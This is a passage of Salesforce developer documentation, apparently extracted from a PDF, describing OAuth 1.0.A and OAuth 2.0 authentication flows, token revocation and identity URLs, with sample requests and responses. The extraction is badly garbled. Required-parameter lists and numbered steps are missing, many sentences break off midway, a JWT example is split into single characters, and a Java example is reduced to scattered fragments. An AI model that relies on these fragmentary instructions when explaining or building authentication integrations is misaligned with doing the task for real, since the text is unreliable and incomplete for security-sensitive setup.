For all authentication flows, if a user is asked to authorize access and instead clicks the link indicating they are not the currently
signed in user, the current user is logged out and the authorization flow restarts with authenticating the user.
Authorizationhttps://login.salesforce.com/services/oauth2/authorize
Tokenhttps://login.salesforce.com/services/oauth2/token
See Also:
Remote Access Application Overview
Getting Started with Remote Access Applications
OAuth 1.0.A Authentication Flow
OAuth 2.0 Web Server Authentication Flow
OAuth 2.0 User-Agent Flow
OAuth 2.0 Refresh Token Flow
OAuth 2.0 Username-Password Flow
OAuth 2.0 JWT Bearer Token Flow
OAuth 2.0 SAML Bearer Assertion Flow
2170
Develop
The following diagram displays the authentication flow steps for OAuth 1.0.A. The individual step descriptions follow. OAuth
1.0.A has a single authentication flow.
2171
Develop
1.
2.
3.
4.
5.
6.
The consumer requests a RequestToken. Salesforce verifies the request and returns a request token.
The consumer should redirect the user to Salesforce, where they are prompted to log in.
Salesforce authorizes the user.
Once the user is authorized, the consumer requests an AccessToken.
Salesforce verifies the request and grants the token.
After the token is granted, the consumer accesses the data either through their application or through the Force.com Web
services API.
7. Salesforce verifies the request and allows access to the data.
The following sections go into more details about each of these steps.
2172
Develop
Tip: To use a remote access application with a Sandbox Overview, use test.salesforce.com instead of
login.salesforce.com in the following sections.
For the list of possible error codes returned by Salesforce, see OAuth 1.0.A Error Codes on page 2176.
Requesting a RequestToken
When a consumer makes an initial request to Salesforce, a RequestToken is returned if the request is valid. The following
steps contain more detail for the developer who is using a remote access application to request Salesforce data.
1. A consumer application needs to access Salesforce data and sends a request to
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler. The
A valid request for a RequestToken, which contains the following OAuth parameters.
oauth_consumer_key
oauth_signature_methodmust be HMAC-SHA1.
oauth_signature
oauth_timestamp
oauth_nonce
oauth_versionoptional, must be 1.0 if included
oauth_callbackmust be one of the following:
Validates the request with its own copy of the consumer secret
Generates a response containing RequestToken and RequestTokenSecret in the HTTP body as name/value pairs
Sends the response back to the consumer
A RequestToken is only valid for 15 minutes, plus three minutes to allow for differences between machine clocks.
3. The consumer directs the user to a Salesforce login page, as specified in the next section.
Authorizing the User
After the request from the consumer is made to Salesforce, the user must be authenticated by Salesforce before the process
continues. The following contains more detailed steps about the login procedure for developers who are using a remote access
application to request Salesforce data.
1. The consumer redirects the user to the following location, where they are prompted to log in:
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp. The appropriate
2173
Develop
If the oauth_callback defined in the RequestToken is oob and the Callback URL field in the remote access
application definition page has a valid value, the user is redirected to that URL.
If the oauth_callback defined in the RequestToken is a valid URL, the user is redirected to that URL.
5. The consumer is notified that the AccessToken and AccessTokenSecret are available either by receiving the verification
token from Salesforce or the validation code from the end user.
Requesting the AccessToken
Once the user has been authenticated, the consumer can exchange a RequestToken for an AccessToken. The following contains
more detailed steps regarding the exchange of tokens for developers who are using a remote access application to request
Salesforce data.
1. The consumer makes an HTTPS GET or POST request to
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler, with
oauth_consumer_key
oauth_signature_method
oauth_signature
oauth_timestamp
oauth_token
oauth_nonce
oauth_verifier
oauth_versionoptional, must be 1.0 if included
3. Upon validation, Salesforce returns the AccessToken and AccessTokenSecret in the HTTP response body as name/value
pairs.
2174
Develop
uPartner WSDL
cEnterprise WSDL
For example, https://login.salesforce.com/services/OAuth/u/17.0.
Accessing Salesforce Data Using the Consumer Application
Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce data. The
following contains more detailed steps regarding accessing data for developers who are using a remote access application to
request Salesforce data.
1. The consumer makes an HTTPS POST request to https://login.salesforce.com, with the required parameters
in the authorization header.
oauth_consumer_key
oauth_token
oauth_signature_method
oauth_signature
oauth_timestamp
oauth_nonce
oauth_version (optional, must be 1.0 if included)
2. Salesforce validates the request and sends a valid session ID to the consumer.
Accessing Salesforce Data Using the API
Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce data using the
Force.com Web services API.
Note: Your organization must have access to both the API and to the remote access application. Contact your
salesforce.com representative for more information.
The following contains more detailed steps regarding accessing data for developers who are using a remote access application
to request Salesforce data.
1. The consumer makes an HTTPS POST request to Salesforce.
uPartner WSDL
cEnterprise WSDL
api-version must be a valid API version.
2175
Develop
oauth_consumer_key
oauth_token
oauth_signature_method
oauth_signature
oauth_timestamp
oauth_nonce
oauth_version (optional, must be 1.0 if included)
2. Salesforce validates the request and sends a valid session ID to the consumer. The response header includes the following.
<response>
<metadataServerUrl>https://na1-api.salesforce.com/services/Soap/m/17.0/00D300000006qjK
</metadataServerUrl>
<sandbox>false</sandbox>
<serverUrl>https://na1-api.salesforce.com/services/Soap/u/17.0/00D300000006qjK
</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq
GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
Using Identity URLs
Notes
1701
1702
1703
1704
1705
1706
1707
2176
Develop
Notes
1708
1709
1710
1711
1712
1713
1716
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 1.0.A Authentication Flow
The Web server authentication flow is used by applications that are hosted on a secure server. A critical aspect of the Web
server flow is that the server must be able to protect the consumer secret.
The following diagram displays the authentication flow steps for Web server clients. The individual step descriptions follow.
2177
Develop
1.
2.
3.
4.
The Web server redirects the user to Salesforce to authenticate and authorize the server to access data on their behalf.
After the user approves access, the Web server receives a callback with an authorization code.
After obtaining the authorization code, the Web server passes back the authorization code to obtain a token response.
After validating the authorization code, Salesforce passes back a token response. If there was no error, the token response
includes an access code and additional information.
5. After the token is granted, the Web server accesses their data.
After a Web server has an access token, they can use the access token to access Salesforce data on the end users behalf and
use a refresh token to get a new access token if it becomes invalid for any reason.
Redirect User to Obtain Access Authorization
To obtain authorization from the user to access Salesforce data on his or her behalf, the client redirects the users browser to
the authorization endpoint with the following parameters:
2178
Develop
stateAny state the consumer wants reflected back to it after approval, during the callback. This parameter is optional.
displayChanges the login and authorization pages display type. This parameter is optional. The only values Salesforce
supports are:
promptSpecifies how the authorization server prompts the user for reauthentication and reapproval. This parameter is
In order to initiate the flow, the Web server generally forms a link, or sends an HTTP redirect to the browser. The following
is an example of a request to an authorization endpoint from a Web server client:
https://login.salesforce.com/services/oauth2/authorize?response_type=code&client_id=
3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA
9GE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp&state=mystate
If the user is logged in, Salesforce redirects them to the approval page. If the user is not logged in, they are asked to log in,
then redirected to the approval page where they grant access to the application. If the user has already approved access once,
they dont have to approve access again.
Web Server Received Callback
Once the user approves the access, they are redirected to the URI specified in redirect_uri with the following values in
the query string:
codeAuthorization code the consumer must use to obtain the access and refresh tokens
stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the
If the user denies the application, they are redirected to the redirect_uri with the following values in the query string:
2179
Develop
errorValue is access_denied.
stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the
If the user denies access, or an error occurs during this step, the response contains an error message containing these parts:
errorError code
error_descriptionDescription of the error with additional information.
stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the
the remote access application definition exactly, and is the same value sent by the initial redirect. See Redirect User to
Obtain Access Authorization on page 2178.
codeAuthorization code obtained from the callback after approval.
formatExpected return format. This parameter is optional. The default is json. Values are:
urlencoded
json
xml
2180
Develop
Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one
of the following:
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
Wildcard accept headers are allowed. */* is accepted and returns JSON.
A list of values is also accepted and is checked left-to-right. For example:
access_tokenSalesforce session ID that can be used with the Web services API.
refresh_tokenToken that can be used in the future to obtain new access tokens (sessions). This value is a secret.
You should treat it like the users password and use appropriate measures to protect it.
instance_urlURL indicating the instance of the users organization. In this example, the instance is na1:
https://na1.salesforce.com.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See
Using Identity URLs on page 2202.
signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the
concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the
server.
issued_atWhen the signature was created.
If an error occurs during this step, the response contains an error message with these parts:
errorError code
error_descriptionDescription of the error with additional information.
2181
Develop
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Refresh Token Flow
Using the Access Token
Using Identity URLs
The user-agent authentication flow is used by client applications (consumers) residing in the user's device. This could be
implemented in a browser using a scripting language such as JavaScript, or from a mobile device or a desktop application.
These consumers cannot keep the client secret confidential. The authentication of the consumer is based on the user-agent's
same-origin policy.
Unlike the other authentication flows, the client application receives the access token in the form of an HTTP redirection.
The client application requests the authorization server to redirect the user-agent to another web server or local resource
accessible to the user-agent, which is capable of extracting the access token from the response and passing it to the client
application. Note that the token response is provided as a hash (#) fragment on the URL. This is for security, and prevents
the token from being passed to the server, as well as to other servers in referral headers.
This user-agent authentication flow doesn't utilize the client secret since the client executables reside on the end-user's computer
or device, which makes the client secret accessible and exploitable.
Caution: Because the access token is encoded into the redirection URI, it might be exposed to the end-user and other
applications residing on the computer or device.
If you are authenticating using JavaScript, call window.location.replace(); to remove the callback from the
browsers history.
The following diagram displays the authentication flow steps for Web server clients. The individual step descriptions follow.
2182
Develop
1. The client application directs the user to Salesforce to authenticate and authorize the application.
2. The user must always approve access for this authentication flow. After approving access, the application receives the
callback from Salesforce.
After a consumer has an access token, they can use the access token to access Salesforce data on the end user's behalf and a
refresh token to get a new access token if it becomes invalid for any reason.
The user-agent flow does not support out-of-band posts.
Direct User to Salesforce to Obtain Access Token
To obtain authorization from the user to access Salesforce data on his or her behalf, the client directs the user to the authorization
endpoint with the following parameters:
the remote access application definition exactly. This value must be URL encoded.
stateAny state the consumer wants reflected back to it after approval, during the callback. This parameter is optional.
scopeThe scope parameter enables you to fine-tune what the client application can access in a Salesforce organization.
See Scope Parameter Values on page 2185 for valid parameters.
displayChanges the login page's display type. This parameter is optional. The only values Salesforce supports are:
pageFull-page authorization screen. This is the default value if none is specified.
popupCompact dialog optimized for modern web browser popup windows.
touchmobile-optimized dialog designed for modern smartphones, such as Android and iPhone.
promptSpecifies how the authorization server prompts the user for reauthentication and reapproval. This parameter is
2183
Develop
consentThe authorization server must prompt the user for reapproval before returning information to the client.
It is valid to pass both values, separated by a space, to require the user to both log in and reauthorize. For example:
?prompt=login%20consent
access_tokenSalesforce session ID that can be used with the Web services API.
refresh_tokenToken that can be used in the future to obtain new access tokens (sessions). This value is a secret.
You should treat it like the users password and use appropriate measures to protect it.
Note: The refresh token for the user-agent flow is only issued under one of the following circumstances:
The redirect URL uses a custom protocol.
The redirect URL is exactly https://login.salesforce.com/services/oauth2/success, or on
Sandbox Overview, https://test.salesforce.com/services/oauth2/success.
instance_urlURL indicating the instance of the users organization. In this example, the instance is na1:
https://na1.salesforce.com.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See
The following is an example of the callback from the server. Note the response is behind a hash, rather than as HTTP query
parameters:
https://www.mysite.com/user_callback.jsp#access_token=00Dx0000000BV7z%21AR8
AQBM8J_xr9kLqmZIRyQxZgLcM4HVi41aGtW0qW3JCzf5xdTGGGSoVim8FfJkZEqxbjaFbberKGk
8v8AnYrvChG4qJbQo8&refresh_token=5Aep8614iLM.Dq661ePDmPEgaAW9Oh_L3JKkDpB4xR
eb54_pZfVti1dPEk8aimw4Hr9ne7VXXVSIQ%3D%3D&expires_in=7200&state=mystate
If the user denies access or an error occurs during this step, they are redirected to the redirect_uri with an error code and
the description of the error in the URI, after the hash tag (#). This is not a query string.
errorError code
error_descriptionDescription of the error with additional information.
2184
Develop
Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}
stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Refresh Token Flow
Using the Access Token
Using Identity URLs
The scope parameter enables you to fine-tune what the client application can access in a Salesforce organization. The valid
values for scope are:
2185
Develop
Value
Description
api
Allows access to the current, logged-in users account over the APIs, such as REST API or
Bulk API. This also includes chatter_api, allowing access to Chatter API resources.
chatter_api
full
Allows access to all data accessible by the logged-in user. full does not return a refresh
token. You must explicitly request the refresh_token scope to get a refresh token.
id
Allows access only to the identity URL service. See Using Identity URLs on page 2202.
refresh_token
visualforce
web
Allows the ability to use the access_token on the Web. This also includes visualforce,
allowing access to Visualforce pages.
All scope values automatically include id, so that regardless of which values for scope you pass, you always have access to
the identity URLs.
As a user approves applications, the value of the scope is stored with the refresh token.
For example, if a user approves an application with a scope of id, the refresh token is created with scope=id. Then, if the
user approves a second application with a different scope, for example api, the refresh token is created with scope=api.
For both a JSON or SAML bearer token requests, the request looks at the scopes of all the previous refresh tokens and combines
them.
Given the previous example, the result is an access token with scope=id%20api.
The following is a sample request setting the scope parameter with the api, id, and web values.
http://localhost:9088/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://localhost:9088/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20web
After the consumer has been authorized for access, they can use a refresh token to get a new access token (session ID.) This
is only done after the consumer already has received an access token using either the Web server or user-agent flow. It is up
to the consumer to determine when an access token is no longer valid, and when to apply for a new one.
2186
Develop
The following are the steps for the refresh token authentication flow. More detail about each step follows:
1. The consumer uses the existing refresh token to request a new access token.
2. After the request is verified, Salesforce sends a response to the client.
Consumer Requests Updated Access Token
A consumer can use the refresh token to get a new session as needed.
The consumer should make POST request to the token endpoint, with the following parameters:
urlencoded
json
xml
The following example is the out-of-band POST body to the token endpoint:
POST /services/oauth2/token HTTP/1.1
Host: https://login.salesforce.com/
grant_type=refresh_token&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0
QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=1955279925675241571
&refresh_token=your token here
Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one
of the following:
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
access_tokenSalesforce session ID that can be used with the Web services API.
instance_urlURL indicating the instance of the users organization. In this example, the instance is na1:
https://na1.salesforce.com.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See
2187
Develop
"access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7T
rqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4"}
If a problem occurs during this step, the response contains an error message with these parts:
errorError code
error_descriptionDescription of the error with additional information.
Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}
2188
Develop
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Web Server Authentication Flow
OAuth 2.0 User-Agent Flow
OAuth 2.0 JWT Bearer Token Flow
OAuth 2.0 SAML Bearer Assertion Flow
JSON Web Token (JWT) is a JSON-based security token encoding that enables identity and security information to be shared
across security domains.
The OAuth 2.0 JWT bearer token flow defines how a JWT can be used to request an OAuth access token from Salesforce
when a client wishes to utilize a previous authorization. Authentication of the authorized application is provided by a digital
signature applied to the JWT.
More detailed explanations of a JWT and the JWT bearer token flow for OAuth can be found in the following:
http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer
http://tools.ietf.org/html/draft-jones-json-web-token
2189
Develop
4. The token endpoint validates the signature using the certificate registered by the developer.
5. The token endpoint validates the audience (aud), issuer (iss), validity (exp), and principal (prn) of the JWT.
6. Assuming the JWT is valid and the application has been previously authorized by the user or administrator, Salesforce
issues an access_token.
Note: A refresh_token is never issued in this flow.
The issuer (iss) must be the OAuth client_id or the remote access application for which the developer registered their
certificate.
The audience (aud) must be https://login.salesforce.com or https://test.salesforce.com.
The principal (prn) must be the username of the desired Salesforce user.
The validity (exp) must be the expiration time of the assertion, within five minutes, expressed as the number of seconds
from 1970-01-01T0:0:0Z measured in UTC.
The JWT must be signed using RSA SHA256.
The JWT must conform with the general format rules specified here:
http://tools.ietf.org/html/draft-jones-json-web-token.
5. Create a new string for the encoded JWT Header and the encoded JWT Claims Set, in this format:
encoded_JWT_Header + "." + encoded_JWT_Claims_Set
2190
Develop
In the following example, the start of the base64 encoded signature is highlighted:
e
y
J
h
b
G
c
i
O
i
J
S
U
z
I
1
N
i
J
9
.
e
y
J
p
c
3
M
i
O
i
A
i
M
0
1
W
R
z
k
5
T
3
h
U
e
U
V
N
Q
1
E
z
Z
0
5
w
M
l
B
q
a
3
F
l
W
k
t
4
b
m
1
B
a
U
c
x
e
F
Y
0
b
0
h
o
O
U
F
L
T
F
9
y
U
0
s
u
Q
m
9
T
V
l
B
H
W
k
h
R
d
W
t
Y
b
l
Z
q
e
l
J
n
U
3
V
R
c
U
d
u
N
z
V
O
T
D
d
5
Z
m
t
R
Y
3
l
5
N
y
I
s
I
C
J
w
c
m
4
i
O
i
A
i
Y
2
hc
m
x
p
Z
W
1
v
c
n
R
p
b
W
9
y
Z
U
B
n
b
W
F
p
b
C
5
j
b
2
0
i
L
C
A
i
Y
X
V
k
I
j
o
g
I
m
h
0
d
H
B
z
O
i
8
v
b
G
9
n
a
W
4
u
c
2
F
s
Z
X
N
m
b
3
J
j
Z
S
5
j
b
2
0
i
L
C
A
i
Z
X
h
w
I
j
o
g
I
j
E
z
M
z
M
2
O
D
U
2
M
j
g
i
f
Q
.
i
Y
C
t
h
q
W
C
Q
u
c
w
i
3
5
y
F
s
n
W
N
g
p
F
5
N
A
_
a
4
6
f
X
D
T
N
I
Y
8
A
C
k
o
6
B
a
E
t
Q
9
E
6
h
4
H
n
1
l
_
p
c
w
c
K
I
_
G
l
m
f
U
O
2
d
J
D
g
1
A
6
1
0
t
0
9
T
e
o
P
a
g
J
s
Z
D
m
_
H
8
3
b
s
o
Z
U
o
I
8
L
p
A1
s
2
a
j
_
W
b
y
s
q
b
1
j
4
u
D
T
o
z
4
8
0
W
t
E
b
k
w
I
v
0
9
s
I
e
S
_
Q
u
W
a
k
2
R
X
O
l
1
K
r
n
f
7
2
m
p
V
G
S
4
WS
U
L
o
d
g
N
z
l
K
Hy
j
A
M
A
H
i
B
H
I
D
N
t
3
6
y
2
L
2
B
h
7
M
8
T
N
W
i
K
a
_
B
N
M
6
s
1
F
N
K
D
A
w
H
E
W
Q
r
N
t
A
e
R
e
X
g
R
y
0
M
Z
g
Q
Y
2
r
Z
t
q
T
2
F
c
D
y
j
Y
3
J
V
Q
b
E
n
_
C
S
j
H
2
W
V
7
Z
l
U
w
s
K
H
q
G
f
I
7
h
z
e
E
v
V
d
f
O
j
H
9
N
u
a
J
o
z
x
v
h
P
F
4
8
9
I
g
W
6
c
n
t
P
u
T
2
V
6
4
7
J
W
i
7
n
g
The follow Java code is a simple example of constructing a JWT bearer token:
import
import
import
import
org.apache.commons.codec.binary.Base64;
java.io.*;
java.security.*;
java.text.MessageFormat;
2191
Develop
e.printStackTrace();
}
}
}
format: Format of the response may be specified as in an OAuth flow, using the token parameter, or an HTTP Accepts
header.
scope: Scope is not supported in the flow. The value for this parameter is the combination of scopes from previous
approvals.
2192
Develop
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
OAuth 2.0 Refresh Token Flow
A SAML assertion is an XML security token, generally issued by an identity provider and consumed by a service provider
who relies on its content to identify the assertions subject for security-related purposes.
The OAuth 2.0 SAML bearer assertion flow defines how a SAML assertion can be used to request an OAuth access token
when a client wishes to utilize a previous authorization. Authentication of the authorized application is provided by the digital
signature applied to the SAML assertion.
A more detailed explanation can be found here: http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.
2193
Develop
The Issuer must be the OAuth client_id or the remote access application for which the developer registered their
certificate.
The Audience must be https://login.salesforce.com or https://test.salesforce.com.
The Recipient must be https://login.salesforce.com/services/oauth2/token or
https://test.salesforce.com/services/oauth2/token.
The Subject NameID must be the username of the desired Salesforce user.
The SAML assertion must conform with the general format rules specified here:
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.
When POSTed to the token endpoint, the assertion must be encoded using base64url encoding as defined here:
http://tools.ietf.org/html/rfc4648#page-7
2194
Develop
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2012-04-04T06:54:14Z"
SessionIndex="ED868FE5-841D-5192-766C-941A60D6602F">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
format: Format of the response may be specified as in an OAuth flow, using the token parameter, or an HTTP Accepts
header.
scope: Scope is not supported in the flow. The value for this parameter is the combination of scopes from previous
approvals.
2195
Develop
{
"error":"invalid_grant",
"error_description":"Audience validation failed"
}
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
OAuth 2.0 Refresh Token Flow
The SAML assertion flow is an alternative for organizations that are currently using SAML to access Salesforce, and want to
access the Web services API the same way. The SAML assertion flow can only be used inside a single organization. You do
not have to create a remote access application to use this assertion flow. Clients can use this to federate with the API using a
SAML assertion, in much the same way as they would federate with Salesforce for Web single sign-on. See About Single
Sign-On on page 671.
The following are the general steps for using this flow. Many of the steps are described in more detail below.
1.
2.
3.
4.
Configure SAML on page 2196 for your organization. You must use SAML version 2.0.
Exchange a SAML assertion for an access token.
Salesforce sends the response.
Use a JSON parser to process the response and extract the access_token.
Salesforce.com Login URLUse this URL when doing Web single sign-on.
OAuth 2.0 Token EndpointUse this URL when exchanging a SAML assertion for an access token to be used with
the API.
When generating SAML assertions to be used with the token endpoint, the recipient URL in the assertion may be the value
from either the OAuth 2.0 Token Endpoint or the Salesforce.com Login URL.
2196
Develop
urlencoded
json
xml
The following is the body of an example of an out-of-band POST made to the
https://login.salesforce.com/services/oauth2/token:
grant_type=assertion&assertion_type=
urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aprofiles%3ASSO%3Abrowser&
assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW. . .
access_tokenSalesforce session ID that can be used with the Web services API.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See
If an error occurs during this step, the response contains an error message with these parts:
errorError code
error_descriptionDescription of the error with additional information.
2197
Develop
Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}
error_uriA link to the SAML Assertion Validator, which contains more information about the failure. This is only
returned when Salesforce is able to parse the assertion. See Validating SAML Settings for Single Sign-On on page 690.
The following is an example error:
{"error_uri":"https://na1.salesforce.com/setup/secur/SAMLValidationPage.apexp",
"error":"invalid_grant","error_description":"invalid assertion"}
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
Using Identity URLs
The username-password authentication flow can be used to authenticate when the consumer already has the users credentials.
Caution: This OAuth authentication flow involves passing the users credentials back and forth. Use this authentication
flow only when necessary. No refresh token will be issued.
The following are the steps for the username-password authentication flow. More detail about each step follows:
1. The consumer uses the end-users username and password to request an access token (session ID.)
2. After the request is verified, Salesforce sends a response to the client.
After a consumer has an access token, they can use the access token to access Salesforce data on the end-users behalf.
Request an Access Token
The consumer can use the end-users username and password to request an access token, which can be used as a session ID.
The consumer should make an out-of-band POST request to the token endpoint, with the following parameters:
2198
Develop
Note: When using the username-password flow with the API, be sure to create a field in the username and
password login screen where users can input their security token. You must concatenate their password and token
when passing the request for authentication. For more information about security tokens, see Resetting Your
Security Token on page 45
formatExpected return format. This parameter is optional. The default is json. Values are:
urlencoded
json
xml
The following is an example of the body of the out-of-band POST:
grant_type=basic-credentials&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82Hn
FVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=
1955279925675241571&username=testuser%40salesforce.com&password=mypassword
Send Response
After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API.
instance_urlURL indicating the instance of the users organization. In this example, the instance is na1:
https://na1.salesforce.com.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See
If a problem occurs during this step, the response contains an error message with these parts:
errorError code
error_descriptionDescription of the error with additional information.
2199
Develop
invalid_requestHTTPS required
invalid_requestmust use HTTP POST
invalid_client_credentialsclient secret invalid
invalid_grantinvalid user credentials
invalid_grantIP restricted or invalid login hours
inactive_useruser is inactive
inactive_orgorganization is locked, closed, or suspended
rate_limit_exceedednumber of logins exceeded
invalid_scoperequested scope is invalid, unknown, or malformed
Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
Using Identity URLs
When users request their data from within the external application (the consumers page), they are authenticated. You can
revoke their access tokens, or the refresh token and all related access tokens, using revocation. Developers may use this feature
when configuring a Log Out button in their application.
Revoking Tokens
To revoke OAuth 2.0 tokens, use the revocation endpoint:
https://login.salesforce.com/services/oauth2/revoke
Construct a POST request that includes the following parameters using the application/x-www-form-urlencoded
format in the HTTP request entity-body. For example:
POST /revoke HTTP/1.1
Host: https://login.salesforce.com/services/oauth2/revoke
Content-Type: application/x-www-form-urlencoded
2200
Develop
token=currenttoken
If an access token is included, we invalidate it and revoke the token. If a refresh token is included, we revoke it as well as any
associated access tokens.
The authorization server indicates successful processing of the request by returning an HTTP status code 200. For all error
conditions, a status code 400 is used along with one of the following error responses.
The authorization server indicates successful processing of the request by returning an HTTP status code 200. For all error
conditions, status code 400 is used.
JSONP Support
The revocation endpoint also accepts GET requests with an additional callback parameter, and returns the response with
content type application/javascript. For example:
https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=myCallback
If the request is successful, a callback is sent to the JavaScript function set in the callback parameter of the GET:
myCallback({});
See Also:
Authenticating Remote Access Application OAuth
Getting Started with Remote Access Applications
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Remote Access Application Overview
Authenticating Remote Access Application OAuth
2201
Develop
After a consumer using OAuth version 2.0 has an access token, the method of using the token depends on the API being
used.
For the REST API, use an HTTP authorization header with the following format Authorization: OAuth
Access_Token
For the SOAP API, the access token is placed in the Salesforce SOAP authentication header. See SOAP API Developer's
Guide.
For the identity URL, use either an HTTP authorization header (as with the REST API) or use as an HTTP parameter
oauth_token.
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Web Server Authentication Flow
OAuth 2.0 User-Agent Flow
OAuth 2.0 Username-Password Flow
Using Identity URLs
In addition to the access token, an identity URL is also returned as part of a token response, in the id parameter.
The identity URL is both a string that uniquely identifies a user, as well as a RESTful API that can be used to query (with a
valid access token) for additional information about the user. Salesforce returns basic personalization information about the
user, as well as important endpoints that the client can talk to, such as photos for the user, and API endpoints it may access.
2202
Develop
The format of the URL is: https://login.salesforce.com/ID/orgID/userID, where orgId is the ID of the Salesforce
organization that the user belongs to, and userID is the Salesforce user ID.
Note: For Sandbox Overview, login.salesforce.com is replaced with test.salesforce.com.
The URL must always be HTTPS.
Identity URL Parameters
The following parameters can be used with the access token and identity URL. They are used in an authorization request
header or in a request with the oauth_token parameter. For more details, see Using the Access Token on page 2202.
Parameter
Description
Access token
Format
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
returns XML.
The format parameter takes precedence over the accept
request header.
Version
PrettyPrint
2203
Develop
Parameter
Description
Callback
created_date:xsd datetime value of the creation date of the last post by the user, for example,
2010-05-08T05:17:51.000Z
body: the body of the post
Note: Accessing these URLs requires passing an access token. See Using the Access Token on page 2202.
picture
thumbnail
urlsA map containing various API endpoints that can be used with the specified user.
Note: Accessing the REST endpoints requires passing an access token. See Using the Access Token on page 2202.
enterprise (SOAP)
metadata (SOAP)
partner (SOAP)
profile
feeds (Chatter)
feed-items (Chatter)
groups (Chatter)
users (Chatter)
2204
Develop
custom_domainThis value is omitted if the organization doesnt have a custom domain configured and propagated
(see My Domain Overview on page 391)
2205
Develop
"display_name":"Alan Van",
"email":"admin@2060747062579699.com",
"status":{"created_date":null,"body":null},
"photos":{"picture":"http://na1.salesforce.com/profilephoto/005/F",
"thumbnail":"http://na1.salesforce.com/profilephoto/005/T"},
"urls":
{"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk",
"metadata":"http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk",
"partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk",
"rest":"http://na1.salesforce.com/services/data/v{version}/",
"sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://na1.salesforce.com/services/data/v{version}/search/",
"query":"http://na1.salesforce.com/services/data/v{version}/query/",
"profile":"http://na1.salesforce.com/005x0000001S2b9"},
"active":true,
"user_type":"STANDARD",
"language":"en_US",
"locale":"en_US",
"utcOffset":-28800000,
"last_modified_date":"2010-06-28T20:54:09.000+0000"}
After making an invalid request, the following are possible responses from Salesforce:
Request Problem
Error Code
HTTP
User lacks proper access to organization or information 404 (not found) No_Access
Request to the endpoint of a site
Invalid version
